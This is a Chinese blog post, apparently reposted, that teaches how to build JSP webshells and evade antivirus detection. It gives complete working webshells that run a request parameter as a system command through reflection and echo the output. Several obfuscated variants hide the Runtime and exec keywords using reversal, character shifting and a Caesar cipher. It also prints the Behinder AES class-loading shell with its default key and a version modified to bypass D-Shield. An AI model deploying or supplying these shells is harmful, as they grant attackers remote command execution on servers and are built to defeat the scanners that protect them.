webshell之jsp免杀

转载自webshell免杀研究

原理

向服务器端发送恶意代码写成的文件(即:shell),客户端通过远程连接,利用shell连接到服务器,并可对服务器进行操作。

结构

实现三步

  1. 数据的传递
  2. 执行所传递的数据
  3. 回显

数据传递

String x = request.getParameter("x");

执行所传递的数据

Class rt = Class.forName("java.lang.Runtime");
Method gr = rt.getMethod("getRuntime");  //获取getRuntime方法
Method ex = rt.getMethod("exec", String.class);  //获取exec方法
Process e = (Process) ex.invoke(gr.invoke(null),  x);

回显

#in为执行返回结果
int a=-1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){out.println(new String(b));
}
out.print("</pre>");

免杀思路

jsp类型webshell数据传入、回显两个部分都是很正常的代码,一般程序中都会使用,不会触发检测规则。

所以需要重点关注杀毒软件对执行这个部分的检测

免杀

将以上三个部分拼接出来就是正常的通过类反射执行的回显webshell:

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%
String x = request.getParameter("x");
if(x!=null){Class rt = Class.forName("java.lang.Runtime");Method gr = rt.getMethod("getRuntime");  //获取getRuntime方法Method ex = rt.getMethod("exec", String.class);  //获取exec方法Process e = (Process) ex.invoke(gr.invoke(null),  x);java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");
}
%>

由于其仍然含有java.lang.Runtime、getRuntime、exec等关键字,仍然会被安全软件检测,我们的免杀主要也针对这几个关键字符串。

比如通过ascii、hex、base64等方式传入不含有这些特征的关键字,但是因为用的过多,目前也被列入已知后门,所以最好这里是自定义编码方式或转换方式,比如异或,移位,反转,栅栏等各种操作缝合的方式。

反转字符串

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String reverseStr(String str){String reverse = "";int length = str.length();for (int i = 0; i < length; i++){reverse = str.charAt(i) + reverse;}return reverse;}%>
<%
String x = request.getParameter("x");
if(x!=null){Class rt = Class.forName(reverseStr("emitnuR.gnal.avaj"));Method gr = rt.getMethod(reverseStr("emitnuRteg"));Method ex = rt.getMethod(reverseStr("cexe"), String.class);Process e = (Process) ex.invoke(gr.invoke(null),  x);java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");
}
%>

移位5位

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String eStr(String str){String result = "";int length = str.length();for (int i = 0; i < length; i++){char z=str.charAt(i);z=(char)(z-5);result=result+z;}return result;}%>
<%
if(request.getParameter("x")!=null){Class rt = Class.forName(eStr("of{f3qfsl3Wzsynrj"));
Process e = (Process) rt.getMethod(new String(eStr("j}jh")), String.class).invoke(rt.getMethod(new String(eStr("ljyWzsynrj"))).invoke(null, new Object[]{}), request.getParameter("x") );
java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];
out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>

小写字母凯撒密码

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String plusStr(String str){String plus = "";int length = str.length();for (int i = 0; i < length; i++){char z = str.charAt(i);
if(z>='a'&&z<='w'){z=(char)(z+3);plus=plus+z;}
else if(z>='x'&&z<='z'){z=(char)(z-23);plus=plus+z;}
else{plus=plus+z;}}return plus;}
%>
<%
String x = request.getParameter("x");
if(x!=null){Class rt = Class.forName(plusStr("gxsx.ixkd.Rrkqfjb"));Method gr = rt.getMethod(plusStr("dbqRrkqfjb"));Method ex = rt.getMethod(plusStr("bubz"), String.class);Process e = (Process) ex.invoke(gr.invoke(null),  x);java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");
}
%>

冰蝎改造

冰蝎默认马:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

经过二分法,D盾查杀特征在最后这句

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);

参考了yzddmr6的方法,拆分或使用类似语句替换,所以使用Base64.getDecoder()替换原本特征,并把request.getReader().readLine()单独取出来,破坏D盾识别的特征。当然也可以拆分该语句的其他部分,破坏特征。

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
String input= request.getReader().readLine();
new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(input))).newInstance().equals(pageContext);
}%>

最终D盾对本文提到的多种webshell都是可以免杀的

webshell之jsp免杀相关推荐

  1. CTF-web 第十部分 webshell基础与免杀

    一.什么是webshell (1)webshell简介 webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具, ...

  2. 红与蓝:现代Webshell检测引擎免杀对抗与实践

    上半年Webshell话题很火,业界举办了数场对抗挑战赛,也发布了多篇站在安全产品侧,着重查杀思路的精彩文章,但鲜有看到以蓝军视角为主的paper. 作为多场挑战赛的参赛者及内部红蓝对抗的参与者,笔者 ...

  3. Webshell免杀-JSP

    前言 在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限.然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全 ...

  4. WebShell 木马免杀过WAF

    就算木马能正常运行,那么过段时间会不会被管理员杀掉?如何免杀?上面虽然木马上传成功了,但是只要管理员一杀毒,全部都能杀出来.而且,还会很明确的说这是后门.因此,作为攻击者就得会各种免杀技巧. 防御者的 ...

  5. Webshell免杀-PHP

    前言 在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限.然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全 ...

  6. webshell免杀的一些学习和思考——以PHP为例

    目录 前言 一.关于webshell 1.数据传递 (1)HTTP请求中获取数据 (2)从远程URL中获取数据 (3)从磁盘文件中获取数据 (4)从数据库中读取 (5)从图片头部中获取 2.代码执行 ...

  7. JSP webshell免杀——webshell免杀

    好搞笑,我身边的人省护期间天天提到许少,听说是一个很厉害的大佬. 结果我免杀跟着学的视频就是这位大佬的. 更离谱的是,聪哥说我们是见过许少的,就是上次给红队整理报告的时候,他就在. 果然,实习就是好, ...

  8. 黑客术语肉鸡、后门、弱口令、shell、webshell、注入、端口、免杀、加壳、漏洞等

    黑客术语 1.肉鸡: 所谓"肉鸡"是一种很形象的比喻,比喻那些可以随意被我们控制的电脑,对方可以是WINDOWS系统,也可以是UNIX/LINUX系统,可以是普通的个人电脑,也可以 ...

  9. 【网络安全】一些webshell免杀的技巧

    前言 由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束. ...

最新文章

  1. BZOJ 2142 礼物(拓展Lucas,中国剩余定理)【BZOJ修复工程】
  2. java开源springboot项目_springBoot 搭建web项目(前后端分离,附项目源代码地址)...
  3. 磁盘空间去向不明的问题
  4. 写作工具_4种加快数据科学写作速度的工具
  5. java 数据字典 spring_springboot+redis+切面实现数据字典功能
  6. 牛客OI周赛2-提高组
  7. 电脑任务管理器_Windows任务管理器突然打不开了
  8. [国嵌攻略][125][总线设备驱动模型]
  9. AndroidStudio_使用gradle编译代码_打包apk_以及各种打包配置---Android原生开发工作笔记79
  10. excel 汇总 mysql_利用mysql收集excel录入汇总
  11. 阿克曼(Ackermann)函数
  12. 互联网晚报 | 1月10日 星期一 | 天猫年货节正式开启;哪吒汽车第10万台量产车下线;三星永久关闭Tizen应用商店...
  13. android高仿苹果计算器,安卓仿苹果计算器(内附完整源码)要点解析.docx
  14. 教你解决路由黑洞5招
  15. C#窗体Click事件没反应
  16. Markdown基本语法笔记
  17. 浙江台州“安乐死”案承办法官首次披露庭审细节
  18. 经验分享:个人网站如何备案?
  19. 如何获取imei 和meid
  20. pycharm自定义模板代码

热门文章

  1. 周记-20211218
  2. 日常记录(关于sessionStorage.setItem)
  3. 基于Android的儿童成长APP的设计与实现
  4. MySQL高级SQL语句(终章)
  5. 巴西光伏产业站在发展的“风口”上
  6. 99%的网络安全人都没想到!办公网的第一道防线应该是它
  7. V19-Bluetooth抓log
  8. 用JDOM创建XML完整实例(包括定义xmlns:xsi和xsi:type)
  9. IOS-H5app逆向笔记
  10. Python 的元类设计起源自哪里?